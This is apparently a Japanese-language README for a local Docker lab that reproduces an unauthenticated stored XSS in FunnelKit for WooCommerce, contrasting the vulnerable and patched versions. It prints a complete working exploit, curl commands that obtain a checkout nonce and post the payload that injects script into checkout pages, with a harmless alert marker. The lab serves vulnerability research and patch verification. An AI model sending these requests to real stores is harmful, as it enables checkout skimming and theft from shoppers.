
CVE-2026-47100(WooCommerce用FunnelKitにおける認証不要のストアドXSS)再現用のローカルDockerラボ。脆弱なバージョンと修正済みバージョンを比較するためのPoCスクリプトを含む。
ローカルのDockerラボで、安全かつ最小限の害でCVE-2026-47100を再現します。 このラボでは、脆弱なFunnelKitバージョンとパッチ適用済みバージョンを比較し、無害なJavaScriptマーカー/アラートを使用して動作を検証します。
CVE-2026-47100は、バージョン 3.15.0.3 より前の Funnel Builder / FunnelKit for WooCommerce Checkout における認可欠落の脆弱性です。
脆弱なチェックアウトのAJAXフローにより、認証されていない訪問者が内部プラグインメソッドを呼び出し、FunnelKitの組み込みグローバル外部スクリプト設定にデータを書き込むことができます。この設定は後にFunnelKitのチェックアウトページでレンダリングされるため、この問題は チェックアウトページでの認証不要の保存型XSS になる可能性があります。
このリポジトリは、2つのDockerサービスを使用してローカルで問題を再現します。
| サービス | バージョン | URL | 期待される結果 |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | 脆弱な動作が確認される |
patched | 3.15.0.3 | http://127.0.0.1:8082 | 書き込みがブロックされる / マーカーがレンダリングされない |

Vulnxの出力からの初期CVE選択。ラボとPoCは、脆弱な動作とパッチ適用済みの動作を比較して手動で構築されました。
認証されていない攻撃者は、公開チェックアウトのAJAXフローを悪用して、FunnelKitのグローバル外部スクリプト設定にJavaScriptを永続化させることができます。
実際のWooCommerceストアでは、これにより悪意のあるJavaScriptがチェックアウトページを訪れたユーザーのブラウザで実行される可能性があります。公開レポートでは、この脆弱性クラスがチェックアウトスキミングキャンペーンに関連付けられています。
このラボでは、意図的に無害な証明マーカーのみを使用します。
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
脆弱なバージョンは、公開WooCommerce AJAXエンドポイントからユーザー制御のチェックアウトデータを受け入れます:
/?wc-ajax=update_order_review
FunnelKitチェックアウトフロー内で、リクエストには以下を含めることができます:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
脆弱なロジックは、指定されたアクション名がクラスメソッドとして存在するかどうかをチェックします。メソッドが存在する場合、公開チェックアウトフローから呼び出すことができます。
簡略化された脆弱な動作:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
重要な攻撃者制御のアクションは次のとおりです:
update_global_settings_fields
そのメソッドはWordPressオプションを更新します:
_wfacp_global_settings
特にFunnelKitの組み込みキー:
wfacp_global_external_script
保存された値は、後でチェックアウトテンプレートによって読み取られ、チェックアウトページにレンダリングされます。これにより、保存型XSSの状態が作成されます。
エクスプロイトチェーン:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
バージョン 3.15.0.3 は、2つの重要な変更により脆弱なパスを強化します。
パッチ適用済みバージョンは、公開チェックアウトフローから呼び出せるチェックアウトアクションを制限します。
簡略化されたパッチ適用後の動作:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
これにより、update_global_settings_fields などの任意の内部メソッドが認証されていないチェックアウトリクエストによってディスパッチされるのを防ぎます。
パッチ適用済みバージョンは、グローバル設定を更新する前に認可チェックも追加します:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
これは、グローバル外部スクリプト設定がWooCommerce管理権限を持つユーザーによってのみ書き込み可能であることを意味します。
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
シードプロセスは以下を作成します:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
ラボは決定論的なチェックアウトURLを使用します:
/?post_type=wfacp_checkout&p=11
これにより、ローカルのDockerラボでFunnelKitチェックアウトカスタム投稿が明示的に読み込まれます。
ラボを起動:
docker compose up -d --build
サービスの確認:
docker compose ps
期待されるサービス:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Pythonの依存関係をインストール:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py は決定論的なラボPoCです。
ローカルのDockerシード値を想定しています:
product_id = 10
checkout_post_id = 11
脆弱なサービスに対して実行:
python3 poc/poc_lab.py http://127.0.0.1:8081
期待される結果:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
パッチ適用済みサービスに対して実行:
python3 poc/poc_lab.py http://127.0.0.1:8082
期待される結果:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py は、よりポータブルな認証済みセルフテストツールです。
パッシブチェックのみ:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
アクティブな認証済みチェック:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
アラートなしのマーカーのみモード:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
クリーンアップ試行:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
新しいWooCommerceセッションを作成し、ラボ製品をカートに追加:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
FunnelKitチェックアウトページを取得し、WooCommerceチェックアウトノンスを抽出:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
作成したチェックアウトAJAXリクエストを送信:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
オプションが書き込まれたことを確認:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
期待される結果:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
マーカーがレンダリングされていることを確認:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
ブラウザで開いて無害なアラートを確認:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
ポート 8082 に対して同じフローを繰り返す:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
オプションが変更されていないことを確認:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
期待される結果:
[]
マーカーがレンダリングされていないことを確認:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
期待される結果: 出力なし。
脆弱なサービスは、以下のすべてが真の場合に問題を確認します:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
パッチ適用済みサービスは、以下の場合に修正を確認します:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
このリポジトリは、ローカルでの許可されたセキュリティ研究のみを目的としています。
許可される範囲:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
許可されない行為:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
PoCは、無害なアラートとマーカーのみを使用します。